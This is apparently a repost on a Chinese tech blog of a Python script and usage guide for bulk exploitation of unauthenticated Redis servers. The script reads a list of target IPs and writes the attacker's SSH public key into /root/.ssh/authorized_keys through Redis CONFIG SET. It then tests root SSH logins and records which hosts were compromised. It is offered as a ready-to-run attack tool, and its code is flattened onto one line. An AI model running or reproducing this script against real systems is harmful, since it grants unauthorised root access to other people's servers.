首页 技术 正文
技术 2022年11月14日
0 收藏 395 点赞 4,117 浏览 2895 个字

一.getshell前提

①能有对 /root/.ssh/目录写入的权限

②目标机开启22端口

二.安装依赖

sudo easy_install redis

三.使用

redis python hackredis.py
usage: hackredis.py [-h] [-l IPLIST] [-p PORT] [-r ID_RSAFILE] [-sp SSH_PORT]For Example:
-----------------------------------------------------------------------------
python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22optional arguments:
-h, --help show this help message and exit
-l IPLIST the hosts of target
-p PORT the redis default port
-r ID_RSAFILE the ssh id_rsa file you generate
-sp SSH_PORT the ssh port

四.创建ssh密钥

ssh-keygen -t rsa              /一直按回车就OK了
cp ~/.ssh/id_rsa.pub /tmp/foo.txt

五.启动脚本

将ip列表填入ip.txt,然后就可以跑了。 成功的将会输出到success.txt,执行成功但是ssh连接失败的会存储在unconnect.txt,操作失败的会存储在fail.txt。

!/usr/bin/python#coding:utf-8############################################################### @file hackredis.py         #### @date 2015-12-11          #### @author evi1cg           ###############################################################import redisimport argparseimport textwrapimport sysimport pexpectdef getargs():    parser = argparse.ArgumentParser(prog='hackredis.py', formatter_class=argparse.RawTextHelpFormatter, description=textwrap.dedent('''/    For Example:    -----------------------------------------------------------------------------    python hackredis.py -l ip.txt -p 6379 -r foo.txt -sp 22'''))    parser.add_argument('-l', dest='iplist', type=str, help='the hosts of target')    parser.add_argument('-p', dest='port', default=6379, type=int, help='the redis default port')    parser.add_argument('-r', dest='id_rsafile', type=str, help='the ssh id_rsa file you generate')    parser.add_argument('-sp', dest='ssh_port', type=int,default=22, help='the ssh port')    if(len(sys.argv[1:]) / 2 != 4):        sys.argv.append('-h')    return parser.parse_args()def hackredis(host,port):    ck = 0    try:        print "[*] Attacking ip:%s"%host        r =redis.StrictRedis(host=host,port=port,db=0,socket_timeout=2)        r.flushall        r.set('crackit',foo)        r.config_set('dir','/root/.ssh/')        r.config_set('dbfilename','authorized_keys')        r.save()        ck =1    except:        print "/033[1;31;40m[-]/033[0m Something wrong with %s"%host        write(host,2)        ck =0    if ck == 1:        check(host)    else:        passdef check(host):    print '/033[1;33;40m[*]/033[0m Check connecting... '    try:            ssh = pexpect.spawn('ssh root@%s -p %d' %(host,ssh_port))            i = ssh.expect('[#/$]',timeout=2)            if i == 0:                print "/033[1;34;40m[+]/033[0m Success !"                write(host,1)            else:                pass    except:            print "/033[1;32;40m[-]/033[0m Failed to connect !"            write(host,3)def write(host,suc):    if suc == 1:        filesname = 'success.txt'    elif suc ==2:        filesname = 'fail.txt'    elif suc ==3:        filesname = 'unconnect.txt'    else:        pass    file_object = open(filesname,'a')    file_object.write(host+'/n')    file_object.close()def main():    global foo,ssh_port    paramsargs = getargs()    try:        hosts = open(paramsargs.iplist,"r")    except(IOError):        print "Error: Check your hostfile path/n"        sys.exit(1)     port = paramsargs.port    ssh_port = paramsargs.ssh_port    try:        foo = '/n/n/n'+open(paramsargs.id_rsafile,"r").readline()+'/n/n/n'    except(IOError):        print "Error: Check your wordlist path/n"        sys.exit(1)      ips = [p.replace('/n','') for p in hosts]    for ip in ips:        hackredis(ip.strip(),port)if __name__ == "__main__":    main()

原文链接:http://www.secange.com/2017/09/redis未授权批量提权脚本python-2/

相关推荐
python开发_常用的python模块及安装方法
adodb:我们领导推荐的数据库连接组件bsddb3:BerkeleyDB的连接组件Cheetah-1.0:我比较喜欢这个版本的cheeta…
日期:2022-11-24 点赞:878 阅读:9,085
Educational Codeforces Round 11 C. Hard Process 二分
C. Hard Process题目连接:http://www.codeforces.com/contest/660/problem/CDes…
日期:2022-11-24 点赞:807 阅读:5,560
下载Ubuntn 17.04 内核源代码
zengkefu@server1:/usr/src$ uname -aLinux server1 4.10.0-19-generic #21…
日期:2022-11-24 点赞:569 阅读:6,409
可用Active Desktop Calendar V7.86 注册码序列号
可用Active Desktop Calendar V7.86 注册码序列号Name: www.greendown.cn Code: &nb…
日期:2022-11-24 点赞:733 阅读:6,182
Android调用系统相机、自定义相机、处理大图片
Android调用系统相机和自定义相机实例本博文主要是介绍了android上使用相机进行拍照并显示的两种方式,并且由于涉及到要把拍到的照片显…
日期:2022-11-24 点赞:512 阅读:7,819
Struts的使用
一、Struts2的获取  Struts的官方网站为:http://struts.apache.org/  下载完Struts2的jar包,…
日期:2022-11-24 点赞:671 阅读:4,902